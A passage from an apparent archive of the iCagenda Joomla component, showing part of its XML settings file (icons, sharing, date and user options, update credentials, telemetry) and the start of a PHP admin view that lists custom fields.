			description="COM_ICAGENDA_THUMB_XSMALL_DESC"
			class="input-small"
			labelclass="control-label"
			/>
		<!-- Icons -->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_ICONS"
			class="stylebox lead input-xxlarge"
			icicon="icons"
			/>
		<field
			name="iconPrint_global"
			type="list"
			label="COM_ICAGENDA_ICON_PRINT_LABEL"
			description="COM_ICAGENDA_ICON_PRINT_DESC"
			default="0"
			>
			<option value="0">JHIDE</option>
			<!--option value="1">IC_ONLY_EVENTS_LIST</option-->
			<option value="2">IC_ONLY_EVENT_DETAILS</option>
			<!--option value="3">JALL</option-->
		</field>
		<field
			name="iconAddToCal_global"
			type="list"
			label="COM_ICAGENDA_ICON_ADDTOCAL_LABEL"
			description="COM_ICAGENDA_ICON_ADDTOCAL_DESC"
			default="0"
			>
			<option value="0">JHIDE</option>
			<!--option value="1">IC_ONLY_EVENTS_LIST</option-->
			<option value="2">IC_ONLY_EVENT_DETAILS</option>
			<!--option value="3">JALL</option-->
		</field>
		<field
			name="iconAddToCal_size"
			type="radio"
			label="COM_ICAGENDA_ICON_ADDTOCAL_SIZE_LABEL"
			description="COM_ICAGENDA_ICON_ADDTOCAL_SIZE_DESC"
			class="btn-group"
			labelclass="control-label"
			default="16"
			>
			<option value="16">16 px</option>
			<option value="24">24 px</option>
			<option value="32">32 px</option>
		</field>
		<field
			name="iconAddToCal_options"
			type="list"
			label="COM_ICAGENDA_ICON_ADDTOCAL_OPTIONS_LABEL"
			description="COM_ICAGENDA_ICON_ADDTOCAL_OPTIONS_DESC"
			multiple="true"
			>
			<option value="1">COM_ICAGENDA_GCALENDAR_LABEL</option>
			<option value="2">COM_ICAGENDA_VCAL_ICAL_LABEL</option>
			<option value="3">COM_ICAGENDA_OUTLOOK_LABEL</option>
			<option value="4">COM_ICAGENDA_LIVE_CALENDAR_LABEL</option>
			<option value="5">COM_ICAGENDA_YAHOO_CALENDAR_LABEL</option>
		</field>
		<field
			name="features_icon_size_list"
			type="list"
			label="COM_ICAGENDA_FEATURES_ICONSIZE_LIST_LABEL"
			description="COM_ICAGENDA_FEATURES_ICONSIZE_LIST_DESC"
			class="inputbox"
			filter="options"
			default=""
			>
			<option value="">COM_ICAGENDA_FEATURES_ICONSIZE_NONE</option>
			<option value="16_bit">COM_ICAGENDA_FEATURES_ICONSIZE_16</option>
			<option value="24_bit">COM_ICAGENDA_FEATURES_ICONSIZE_24</option>
			<option value="32_bit">COM_ICAGENDA_FEATURES_ICONSIZE_32</option>
			<option value="48_bit">COM_ICAGENDA_FEATURES_ICONSIZE_48</option>
			<option value="64_bit">COM_ICAGENDA_FEATURES_ICONSIZE_64</option>
		</field>
		<field
			name="features_icon_size_event"
			type="list"
			label="COM_ICAGENDA_FEATURES_ICONSIZE_EVENT_LABEL"
			description="COM_ICAGENDA_FEATURES_ICONSIZE_EVENT_DESC"
			class="inputbox"
			filter="options"
			default=""
			>
			<option value="">COM_ICAGENDA_FEATURES_ICONSIZE_NONE</option>
			<option value="16_bit">COM_ICAGENDA_FEATURES_ICONSIZE_16</option>
			<option value="24_bit">COM_ICAGENDA_FEATURES_ICONSIZE_24</option>
			<option value="32_bit">COM_ICAGENDA_FEATURES_ICONSIZE_32</option>
			<option value="48_bit">COM_ICAGENDA_FEATURES_ICONSIZE_48</option>
			<option value="64_bit">COM_ICAGENDA_FEATURES_ICONSIZE_64</option>
		</field>
		<field
			name="show_icon_title"
			type="radio"
			label="COM_ICAGENDA_SHOW_FEATURE_ICON_TITLE_LABEL"
			description="COM_ICAGENDA_SHOW_FEATURE_ICON_TITLE_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<!-- AddThis -->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_ADDTHIS"
			class="stylebox lead input-xxlarge"
			icimage="addthis_16.png"
			/>
		<field type="Title" label="COM_ICAGENDA_ADDTHIS_DESC" class="stylered input-xxlarge" />
		<field
			name="atlist"
			type="radio"
			label="COM_ICAGENDA_ADDTHIS_LIST_LABEL"
			description="COM_ICAGENDA_ADDTHIS_LIST_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="atevent"
			type="radio"
			label="COM_ICAGENDA_ADDTHIS_EVENT_LABEL"
			description="COM_ICAGENDA_ADDTHIS_EVENT_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="atfloat"
			type="radio"
			label="COM_ICAGENDA_ADDTHIS_FLOAT_LABEL"
			description="COM_ICAGENDA_ADDTHIS_FLOAT_DESC"
			class="btn-group"
			labelclass="control-label"
			default="2"
			>
			<option value="0">JNO</option>
			<option value="1">JGLOBAL_LEFT</option>
			<option value="2">JGLOBAL_RIGHT</option>
		</field>
		<field
			name="aticon"
			type="radio"
			label="COM_ICAGENDA_ADDTHIS_ICON_LABEL"
			description="COM_ICAGENDA_ADDTHIS_ICON_DESC"
			class="btn-group"
			labelclass="control-label"
			default="2"
			>
			<option value="1">COM_ICAGENDA_ADDTHIS_16</option>
			<option value="2">COM_ICAGENDA_ADDTHIS_32</option>
		</field>
		<field
			name="addthis"
			type="text"
			label="COM_ICAGENDA_ADDTHIS_ID_LABEL"
			description="COM_ICAGENDA_ADDTHIS_ID_DESC"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_ADDTHIS_NOTE"
			class="stylenote alert alert-info input-xxlarge"
			icimage="info.png"
			/>
		<!-- Date and Time -->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_DATETIME_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="clock"
			/>
		<field
			name="date_format_global"
			type="iclist_globalization"
			label="COM_ICAGENDA_LBL_FORMAT"
			description="COM_ICAGENDA_LBL_FORMAT"
			class="inputbox"
			default=""
			/>
		<field
			name="date_separator"
			type="text"
			label="COM_ICAGENDA_LBL_DATE_SEPARATOR"
			description="COM_ICAGENDA_DESC_DATE_COMPONENTS_SEPARATOR"
			size="5"
			class="inputbox"
			default=""
			/>
		<field
			name="displaytime"
			type="radio"
			label="COM_ICAGENDA_TIMEDISPLAY_DEFAULT_LABEL"
			description="COM_ICAGENDA_TIMEDISPLAY_DEFAULT_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="timeformat"
			type="radio"
			label="COM_ICAGENDA_TIME_FORMAT_LABEL"
			description="COM_ICAGENDA_TIME_FORMAT_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="1">COM_ICAGENDA_24</option>
			<option value="2">COM_ICAGENDA_12</option>
		</field>
		<field
			name="firstday_week_global"
			type="list"
			label="COM_ICAGENDA_FIRSTDAY_WEEK_LABEL"
			description="COM_ICAGENDA_FIRSTDAY_WEEK_DESC"
			default="1"
			>
			<option value="1">MONDAY</option>
			<option value="0">SUNDAY</option>
		</field>
		<!-- Categories -->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_CATEGORY_SELECT_LIST"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/>
		<field name="orderby_catlist"
			type="list"
			default="alpha"
			label="COM_ICAGENDA_CATEGORY_ORDER_LABEL"
			description="COM_ICAGENDA_CATEGORY_SELECT_LIST_ORDER_DESC">
			<option
				value="none">JGLOBAL_NO_ORDER</option>
			<option
				value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
			<option
				value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
			<option
				value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
		</field>
		<field
			name="default_catlist"
			type="modal_cat"
			label="COM_ICAGENDA_CATEGORY_SELECT_LIST_DEFAULT_LABEL"
			description="COM_ICAGENDA_CATEGORY_SELECT_LIST_DEFAULT_DESC"
			class="inputbox"
			/>
		<field name="admin_status_catlist"
			type="list"
			label="COM_ICAGENDA_CATEGORY_SELECT_LIST_STATUS_ADMIN_LABEL"
			description="COM_ICAGENDA_CATEGORY_SELECT_LIST_STATUS_ADMIN_DESC"
			default="1"
			multiple="true"
			>
			<option
				value="1">JPUBLISHED</option>
			<option
				value="0">JUNPUBLISHED</option>
			<option
				value="2">JARCHIVED</option>
		</field>
		<field name="site_status_catlist"
			type="list"
			label="COM_ICAGENDA_CATEGORY_SELECT_LIST_STATUS_SITE_LABEL"
			description="COM_ICAGENDA_CATEGORY_SELECT_LIST_STATUS_SITE_DESC"
			default="1"
			multiple="true"
			>
			<option
				value="1">JPUBLISHED</option>
			<option
				value="0">JUNPUBLISHED</option>
			<option
				value="2">JARCHIVED</option>
		</field>
		<!-- Users -->
		<field
			type="TitleImg"
			label="IC_USERS"
			class="stylebox lead input-xxlarge"
			icicon="people"
			/>
		<field type="Title" label="COM_ICAGENDA_JOOMLA_USER_LABEL" class="stylesub" />
		<field
			name="autofilluser"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_JOOMLA_USER_AUTOFILL_LABEL"
			description="COM_ICAGENDA_REGISTRATION_JOOMLA_USER_AUTOFILL_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field
			name="nameJoomlaUser"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_JOOMLA_USER_NAME_LABEL"
			description="COM_ICAGENDA_REGISTRATION_JOOMLA_USER_NAME_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="1">IC_NAME</option>
			<option value="2">IC_USERNAME</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_SENDING_EMAIL_LABEL" class="stylesub" />
		<field
			name="auto_login"
			type="radio"
			label="COM_ICAGENDA_AUTOLOGIN_LABEL"
			description="COM_ICAGENDA_AUTOLOGIN_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<!-- Miscellaneous -->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_MISCELLANEOUS_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="options"
			/>
		<field type="Title" label="COM_ICAGENDA_EVENT_TITLE_LBL" class="stylesub" />
		<field
			name="titleTransform"
			type="list"
			label="COM_ICAGENDA_TEXT_TRANSFORM_LBL"
			description="COM_ICAGENDA_TEXT_TRANSFORM_DESC"
			class="btn-group"
			default=""
			>
			<option value="">JNONE</option>
			<option value="1">IC_FIRST_UPPERCASE</option>
			<option value="2">IC_CAPITALIZE</option>
			<option value="3">IC_UPPERCASE</option>
			<option value="4">IC_LOWERCASE</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_SHORT_DESCRIPTION_LBL" class="stylesub" />
		<field
			name="char_limit_short_description"
			type="text"
			label="COM_ICAGENDA_LBL_LIMIT"
			description="COM_ICAGENDA_SHORT_DESCRIPTION_LIMIT_DESC"
			class="inputbox input-mini"
			size="5"
			default="100"
			/>
		<field type="Title" label="COM_ICAGENDA_META_DESCRIPTION_LBL" class="stylesub" />
		<field
			name="char_limit_meta_description"
			type="text"
			label="COM_ICAGENDA_LBL_LIMIT"
			description="COM_ICAGENDA_META_DESCRIPTION_LIMIT_DESC"
			class="inputbox input-mini"
			size="5"
			default="160"
			/>
		<field type="Title" label="COM_ICAGENDA_AUTO_SHORT_DESCRIPTION_LBL" class="stylesub" />
		<field
			name="ShortDescLimit"
			type="text"
			label="COM_ICAGENDA_LBL_LIMIT"
			description="COM_ICAGENDA_AUTO_INTROTEXT_LIMIT_DESC"
			class="inputbox input-mini"
			size="5"
			default="100"
			/>
		<field
			name="Filtering_ShortDesc_Global"
			type="list"
			label="COM_ICAGENDA_HTML_FILTERING_LABEL"
			description="COM_ICAGENDA_FILTERING_SHORTDESC_DESC"
			class="btn-group"
			default=""
			>
			<option value="">COM_ICAGENDA_ALL_ITALIC</option>
			<option value="0">COM_ICAGENDA_NO_HTML</option>
			<option value="1">COM_ICAGENDA_AUTHORIZED_HTML_TAGS</option>
		</field>
		<field
			name="HTMLTags_ShortDesc_Global"
			type="list"
			label="COM_ICAGENDA_AUTHORIZED_HTML_TAGS"
			description="COM_ICAGENDA_FILTERING_SHORTDESC_AUTHORIZED_HTML_TAGS_DESC"
			class="btn-group"
			multiple="true"
			>
			<option value="1">&lt;br &#47;&gt;</option>
			<option value="2">&lt;b&gt;</option>
			<option value="3">&lt;strong&gt;</option>
			<option value="4">&lt;i&gt;</option>
			<option value="5">&lt;em&gt;</option>
			<option value="6">&lt;u&gt;</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_CUSTOMIZATION" class="stylesub" />
		<field
			name="customCSS_activation"
			type="radio"
			label="COM_ICAGENDA_CUSTOM_CSS_ACTIVATION_LBL"
			description="COM_ICAGENDA_CUSTOM_CSS_ACTIVATION_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field type="Title" label=" " class="stylenote"/>
		<field
			name="customCSS"
			type="textarea"
			label="COM_ICAGENDA_CUSTOM_CSS_LBL"
			description="COM_ICAGENDA_CUSTOM_CSS_DESC"
			rows="5"
			cols="50"
			class="input-xxlarge"
			hint="COM_ICAGENDA_CUSTOM_CSS_HINT"
			default=""
			/>
	</fieldset>

	<fieldset name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>
		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			class="inputbox"
			validate="rules"
			filter="rules"
			component="com_icagenda"
			section="component"
			/>
	</fieldset>

	<fieldset name="pro"
		label="COM_ICAGENDA_PRO_LABEL"
		description=""
		>
		<field
			type="Title"
			label="COM_ICAGENDA_PRO_ACCOUNT_INFO"
			class="stylenote alert alert-info"
			/>
		<field
			name="copy"
			type="radio"
			label="COM_ICAGENDA_PRO_COPY_LABEL"
			description="COM_ICAGENDA_PRO_COPY_DESC"
			class="btn-group"
			labelclass="control-label"
			default=""
			>
			<option value="">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			type="TitleImg"
			label="PRO_JOOMLIC_UPDATES_INFORMATION"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/>
		<field
			name="downloadid"
			type="password"
			label="COM_ICAGENDA_PRO_ID_LABEL"
			description ="COM_ICAGENDA_PRO_ID_DESC"
			labelclass="control-label"
			default=""
			/>
		<field type="Title" label="&#8597;" />
		<field
			name="username"
			type="text"
			label="PRO_JOOMLIC_USERNAME_LBL"
			description="PRO_JOOMLIC_USERNAME_DESC"
			size="30"
			default=""
			/>
		<field
			name="password"
			type="modal_ic_password"
			label="PRO_JOOMLIC_PASSWORD"
			description="PRO_JOOMLIC_PASSWORD_DESC"
			size="30"
			default=""
			/>
		<field type="Title" label="COM_ICAGENDA_PRO_CONFIG_LIVEUPDATE_MINSTABILITY_LABEL" class="stylesub" />
		<field
			name="min_stability"
			type="list"
			label="COM_ICAGENDA_PRO_UPDATE_SERVER"
			description="COM_ICAGENDA_PRO_CONFIG_LIVEUPDATE_MINSTABILITY_DESC"
			default="stable"
			>
			<option value="alpha">ICAGENDA_STABILITY_TESTING</option>
			<!--option value="beta">ICAGENDA_STABILITY_BETA</option-->
			<option value="rc">ICAGENDA_STABILITY_RC</option>
			<option value="stable">ICAGENDA_STABILITY_STABLE</option>
		</field>
		<field
			name="time_loading"
			type="hidden"
			label="COM_ICAGENDA_PRO_TIME_LOADING_LABEL"
			description="COM_ICAGENDA_PRO_TIME_LOADING_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="reg_end_period"
			type="hidden"
			label="Registration until end datetime (period)"
			description=""
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field
			name="system_info"
			type="hidden"
			label="Anonymous usage statistics"
			description="Usage statistics or 'Telemetry' is a feature in iCagenda that sends anonymously and automatically your system info (PHP, MySQL, Joomla! and iCagenda versions). Usage statistics are collected during the update, and help us improve future versions of iCagenda. We do NOT collect any of your personal info, including your IP address, site name, other than the anonymous system info you voluntarily provide."
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JDISABLED</option>
			<option value="1">JENABLED</option>
		</field>
		<!--field name="Title5" type="TitleImg" label="BETA" class="stylebox lead input-xxlarge" icimage="iconicagenda16.png"/>
		<field name="mail_new_event" type="radio" default="0" label="BETA - Notification New Event" description="COM_ICAGENDA_MAIL_NEW_EVENT_DESC" class="btn-group" labelclass="control-label">
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field name="newevent_Groups" type="usergroup" multiple="true" default="8" label="Notified Groups" description="COM_ICAGENDA_MAIL_NEW_EVENT_GROUPS_DESC" labelclass="control-label" /-->
	</fieldset>
</config>
com_icagenda/views/customfields/index.html000060400000000032152455305270014767 0ustar00<html><body></body></html>com_icagenda/views/customfields/tmpl/index.html000060400000000032152455305270015743 0ustar00<html><body></body></html>com_icagenda/views/customfields/tmpl/default.php000060400000040017152455305270016112 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-16
 * @since		3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

$app = JFactory::getApplication();

// Access Administration Customfields check.
if (JFactory::getUser()->authorise('icagenda.access.customfields', 'com_icagenda'))
{
	// Check Theme Packs Compatibility
	if (class_exists('icagendaTheme')) icagendaTheme::checkThemePacks();

	$user		= JFactory::getUser();
	$userId		= $user->get('id');
	$listOrder	= $this->escape($this->state->get('list.ordering'));
	$listDirn	= $this->escape($this->state->get('list.direction'));
	$canOrder	= $user->authorise('core.edit.state', 'com_icagenda');

	$saveOrder	= $listOrder == 'cf.ordering';

	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::_('behavior.tooltip');
		JHtml::_('script','system/multiselect.js',false,true);
	}
	else
	{
		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		JHtml::_('bootstrap.tooltip');
		JHtml::_('behavior.multiselect');
		JHtml::_('formbehavior.chosen', 'select');
		JHtml::_('dropdown.init');

		$extension	= $this->escape($this->state->get('filter.extension'));
		$archived	= $this->state->get('filter.published') == 2 ? true : false;
		$trashed	= $this->state->get('filter.published') == -2 ? true : false;

		if ($saveOrder)
		{
			$saveOrderingUrl = 'index.php?option=com_icagenda&task=customfields.saveOrderAjax&tmpl=component';
			JHtml::_('sortablelist.sortable', 'customfieldsList', 'adminForm', strtolower($listDirn), $saveOrderingUrl, false, true);
		}
		$sortFields = array();
		?>
		<script type="text/javascript">
			Joomla.orderTable = function()
			{
				table = document.getElementById("sortTable");
				direction = document.getElementById("directionTable");
				order = table.options[table.selectedIndex].value;
				if (order != '<?php echo $listOrder; ?>')
				{
					dirn = 'asc';
				}
				else
				{
					dirn = direction.options[direction.selectedIndex].value;
				}
				Joomla.tableOrdering(order, dirn, '');
			}
		</script>
		<?php
	}
	?>

	<form action="<?php echo JRoute::_('index.php?option=com_icagenda&view=customfields'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif;?>

		<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
			<fieldset id="filter-bar">

				<div class="filter-search fltlft">
					<label class="filter-search-lbl" for="filter_search"><?php echo JText::_('JSEARCH_FILTER_LABEL'); ?></label>
					<input type="text" name="filter_search" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('Search'); ?>" />
					<button type="submit"><?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?></button>
					<button type="button" onclick="document.id('filter_search').value='';this.form.submit();"><?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?></button>
				</div>

				<div class="filter-select fltrt">
					<select name="filter_published" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('JOPTION_SELECT_PUBLISHED');?></option>
						<?php echo JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), "value", "text", $this->state->get('filter.state'), true);?>
					</select>
				</div>

				<div class="filter-select fltrt">
					<select name="filter_parent_form" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('COM_ICAGENDA_CUSTOMFIELDS_FILTER_OPTION_SELECT_PARENT_FORM');?></option>
						<?php echo JHtml::_('select.options', $this->get('ParentForm'), "value", "text", $this->state->get('filter.parent_form'), true);?>
					</select>
				</div>

				<div class="filter-select fltrt">
					<select name="filter_type" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('COM_ICAGENDA_CUSTOMFIELDS_FILTER_OPTION_SELECT_TYPE');?></option>
						<?php echo JHtml::_('select.options', $this->get('FieldTypes'), "value", "text", $this->state->get('filter.type'), true);?>
					</select>
				</div>

			</fieldset>
			<div class="clr"> </div>

		<?php else : ?>

			<div id="filter-bar" class="btn-toolbar">

				<div class="filter-search btn-group pull-left">
					<label for="filter_search" class="element-invisible"><?php echo JText::_('COM_ICAGENDA_CUSTOMFIELDS_FILTER_SEARCH_DESC'); ?></label>
					<input type="text" name="filter_search" placeholder="<?php echo JText::_('COM_ICAGENDA_CUSTOMFIELDS_FILTER_SEARCH_DESC'); ?>" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('COM_ICAGENDA_CUSTOMFIELDS_FILTER_SEARCH_DESC'); ?>" />
				</div>

				<div class="btn-group pull-left">
					<button class="btn tip hasTooltip" type="submit" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>"><i class="icon-search"></i></button>
					<button class="btn tip hasTooltip" type="button" onclick="document.id('filter_search').value='';this.form.submit();" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>"><i class="icon-remove"></i></button>
				</div>

				<div class="btn-group pull-right hidden-phone">
					<label for="limit" class="element-invisible"><?php echo JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC'); ?></label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>

			</div>
			<div class="clearfix"> </div>

		<?php endif;?>

		<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
			<table class="adminlist">
		<?php else : ?>
			<table class="table table-striped" id="customfieldsList">
		<?php endif; ?>

				<thead>
					<tr>
					<?php // JOOMLA 3.x ?>
					<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>

						<?php // Ordering HEADER Joomla 3.x ?>
 						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('grid.sort', '<i class="icon-menu-2"></i>', 'cf.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
						</th>

					<?php endif; ?>
					<?php // END JOOMLA 3.x ?>

						<?php // CheckBox HEADER ?>
						<th width="1%" class="hidden-phone">
							<input type="checkbox" name="checkall-toggle" value="" title="<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>" onclick="Joomla.checkAll(this)" />
						</th>

						<?php // Status HEADER ?>
						<th width="1%" style="min-width:55px" class="nowrap center">
							<?php echo JHtml::_('grid.sort', 'JSTATUS', 'cf.state', $listDirn, $listOrder); ?>
						</th>

						<?php // Title HEADER ?>
						<th>
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_CUSTOMFIELD_TITLE_LBL', 'cf.title', $listDirn, $listOrder); ?>
						</th>

						<?php // Slug HEADER ?>
						<th>
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_CUSTOMFIELD_SLUG_LBL', 'cf.slug', $listDirn, $listOrder); ?>
						</th>

						<?php // Parent Form HEADER ?>
						<th>
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_CUSTOMFIELD_PARENT_FORM_LBL', 'cf.parent_form', $listDirn, $listOrder); ?>
						</th>

						<?php // Field Type HEADER ?>
						<th>
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_CUSTOMFIELD_TYPE_LBL', 'cf.type', $listDirn, $listOrder); ?>
						</th>

						<?php // Required HEADER ?>
						<th>
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_CUSTOMFIELD_REQUIRED_LBL', 'cf.required', $listDirn, $listOrder); ?>
						</th>

				<?php // JOOMLA 2.5 ?>
				<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>

						<?php // Ordering HEADER Joomla 2.5 ?>
					<?php if (isset($this->items[0]->ordering)) { ?>
						<th width="10%">
							<?php echo JHtml::_('grid.sort',  'JGRID_HEADING_ORDERING', 'cf.ordering', $listDirn, $listOrder); ?>
							<?php if ($canOrder && $saveOrder) :?>
								<?php echo JHtml::_('grid.order',  $this->items, 'filesave.png', 'customfields.saveorder'); ?>
							<?php endif; ?>
						</th>
					<?php } ?>

				<?php // END JOOMLA 2.5 ?>
				<?php endif; ?>

						<?php // ID HEADER ?>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_ID', 'cf.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="10">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
			<?php foreach ($this->items as $i => $item) :
				$ordering	= ($listOrder == 'cf.ordering');
				$canCreate	= $user->authorise('core.create',		'com_icagenda');
				$canEdit	= $user->authorise('core.edit',			'com_icagenda');
				$canCheckin	= $user->authorise('core.manage',		'com_icagenda');
				$canChange	= $user->authorise('core.edit.state',	'com_icagenda');
				$canEditOwn	= $user->authorise('core.edit.own',		'com_icagenda');
				?>

					<tr class="row<?php echo $i % 2; ?>">

					<?php // JOOMLA 3.x ?>
					<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>

						<?php // Ordering Joomla 3.x ?>
						<td class="order nowrap center hidden-phone">
							<?php if ($canChange) :
								$disableClassName = '';
								$disabledLabel	  = '';

								if (!$saveOrder) :
									$disabledLabel    = JText::_('JORDERINGDISABLED');
									$disableClassName = 'inactive tip-top';
								endif;
								?>
								<span class="sortable-handler hasTooltip <?php echo $disableClassName; ?>" title="<?php echo $disabledLabel; ?>">
									<i class="icon-menu"></i>
								</span>
								<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order " />
							<?php else : ?>
								<span class="sortable-handler inactive" >
									<i class="icon-menu"></i>
								</span>
							<?php endif; ?>
						</td>

					<?php endif; ?>
					<?php // END JOOMLA 3.x ?>

						<?php // Ordering Joomla 3.x ?>
						<td class="center hidden-phone">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>

						<?php // Status ?>
					<?php if (isset($this->items[0]->state)) { ?>
						<td class="center">
							<?php echo JHtml::_('jgrid.published', $item->state, $i, 'customfields.', $canChange, 'cb'); ?>
						</td>
					<?php } ?>

						<?php // Title ?>
						<td class="nowrap has-context">
							<div class="pull-left">
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'customfields.', $canCheckin); ?>
								<?php endif; ?>
								<?php //if ($item->language == '*'):?>
									<?php //$language = JText::alt('JALL', 'language'); ?>
								<?php //else:?>
									<?php //$language = $item->language ? $this->escape($item->language) : JText::_('JUNDEFINED'); ?>
								<?php //endif;?>
								<?php if ($canEdit) : ?>
									<a href="<?php echo JRoute::_('index.php?option=com_icagenda&task=customfield.edit&id=' . $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
									<?php echo $this->escape($item->title); ?></a>
								<?php else : ?>
									<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"><?php echo $this->escape($item->title); ?></span>
								<?php endif; ?>
							</div>

							<?php // DropDown Edit Joomla 3 ?>
						<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
							<div class="pull-left">
								<?php
								// Create dropdown items
								JHtml::_('dropdown.edit', $item->id, 'customfield.');
								JHtml::_('dropdown.divider');

								if ($item->state) :
									JHtml::_('dropdown.unpublish', 'cb' . $i, 'customfields.');
								else :
									JHtml::_('dropdown.publish', 'cb' . $i, 'customfields.');
								endif;

								JHtml::_('dropdown.divider');

								if ($archived) :
									JHtml::_('dropdown.unarchive', 'cb' . $i, 'customfields.');
								else :
									JHtml::_('dropdown.archive', 'cb' . $i, 'customfields.');
								endif;

								if ($item->checked_out) :
									JHtml::_('dropdown.checkin', 'cb' . $i, 'customfields.');
								endif;

								if ($trashed) :
									JHtml::_('dropdown.untrash', 'cb' . $i, 'customfields.');
								else :
									JHtml::_('dropdown.trash', 'cb' . $i, 'customfields.');
								endif;

								// Render dropdown list
								echo JHtml::_('dropdown.render');
								?>
							</div>
						<?php endif; ?>
						</td>

						<?php // Slug ?>
						<td class="hidden-phone">
							<?php if ($item->slug) : ?>
								<?php echo $this->escape($item->slug); ?>
							<?php endif; ?>
						</td>

						<?php // Parent Form ?>
						<td class="hidden-phone">
